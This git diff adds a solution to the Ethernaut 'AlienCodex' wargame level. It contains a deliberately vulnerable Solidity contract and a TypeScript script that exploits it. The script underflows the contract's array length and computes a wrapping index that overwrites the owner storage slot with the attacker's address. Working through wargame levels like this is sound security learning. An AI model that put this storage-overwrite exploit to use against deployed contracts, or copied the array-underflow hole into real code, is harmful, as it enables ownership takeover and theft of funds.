diff --git a/ethernaut_challenges/contracts/19_AlienCodex.sol b/ethernaut_challenges/contracts/19_AlienCodex.sol new file mode 100644 index 0000000..a090415 --- /dev/null +++ b/ethernaut_challenges/contracts/19_AlienCodex.sol @@ -0,0 +1,96 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.5.0; + +contract Ownable { + address private _owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + /** + * @dev Initializes the contract setting the deployer as the initial owner. + */ + constructor () internal { + _owner = msg.sender; + } + + /** + * @dev Returns the address of the current owner. + */ + function owner() public view returns (address) { + return _owner; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(isOwner(), "Ownable: caller is not the owner"); + _; + } + + /** + * @dev Returns true if the caller is the current owner. + */ + function isOwner() public view returns (bool) { + return msg.sender == _owner; + } + + /** + * @dev Leaves the contract without owner. It will not be possible to call + * `onlyOwner` functions anymore. Can only be called by the current owner. + * + * > Note: Renouncing ownership will leave the contract without an owner, + * thereby removing any functionality that is only available to the owner. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipTransferred(_owner, address(0)); + _owner = address(0); + } + + /** + * @dev Transfers ownership of the contract to a new account (`newOwner`). + * Can only be called by the current owner. + */ + function transferOwnership(address newOwner) public onlyOwner { + _transferOwnership(newOwner); + } + + /** + * @dev Transfers ownership of the contract to a new account (`newOwner`). + */ + function _transferOwnership(address newOwner) internal { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } +} + +contract AlienCodex is Ownable { + bool public contact; + bytes32[] public codex; + + modifier contacted() { + assert(contact); + _; + } + + function make_contact() public { + contact = true; + } + + function record(bytes32 _content) contacted public { + codex.push(_content); + } + + function retract() contacted public { + codex.length--; + } + + function revise(uint i, bytes32 _content) contacted public { + codex[i] = _content; + } + + function arrayLength() public view returns (uint) { + return codex.length; + } +} \ No newline at end of file diff --git a/ethernaut_challenges/hardhat.config.ts b/ethernaut_challenges/hardhat.config.ts index 168c920..32c4fe6 100644 --- a/ethernaut_challenges/hardhat.config.ts +++ b/ethernaut_challenges/hardhat.config.ts @@ -45,6 +45,16 @@ export default { }, }, }, + { + version: '0.5.0', + settings: { + outputSelection: { + '*': { + '*': ['storageLayout', 'evm.bytecode.opcodes'], + }, + }, + }, + }, ], }, networks: { diff --git a/ethernaut_challenges/scripts/19_alien_codex.ts b/ethernaut_challenges/scripts/19_alien_codex.ts new file mode 100644 index 0000000..8adc0c1 --- /dev/null +++ b/ethernaut_challenges/scripts/19_alien_codex.ts @@ -0,0 +1,38 @@ +import { Signer } from 'ethers' +import { ethers } from 'hardhat' +import { AlienCodex } from '../typechain-types/AlienCodex' +import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' + +const levelAddress = '0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272' + +const main = async () => { + const signer = (await ethers.getSigners())[0] as Signer + + const targetContract = (await loadOrCreateLevelInstance('AlienCodex', levelAddress, signer)) as AlienCodex + + // Trivial call + await (await targetContract.make_contact()).wait() + + // Underflow array length + await (await targetContract.retract()).wait() + + // Calculate position of first element + const arrayStartPosition = ethers.BigNumber.from(ethers.utils.keccak256(ethers.utils.zeroPad('0x01', 32))) + + // Calculate how much to add to overflow and overwrite first storage slot (owner) + const difference = ethers.constants.MaxUint256.sub(arrayStartPosition).add(1) + + // Overwrite owner slot + const tx = await targetContract.revise(difference, ethers.utils.zeroPad(await signer.getAddress(), 32)) + console.log('tx hash', tx.hash) + await tx.wait() + + await submitLevelInstance(targetContract.address, signer) +} + +main() + .then(() => process.exit()) + .catch(e => { + console.error(e) + process.exit(1) + })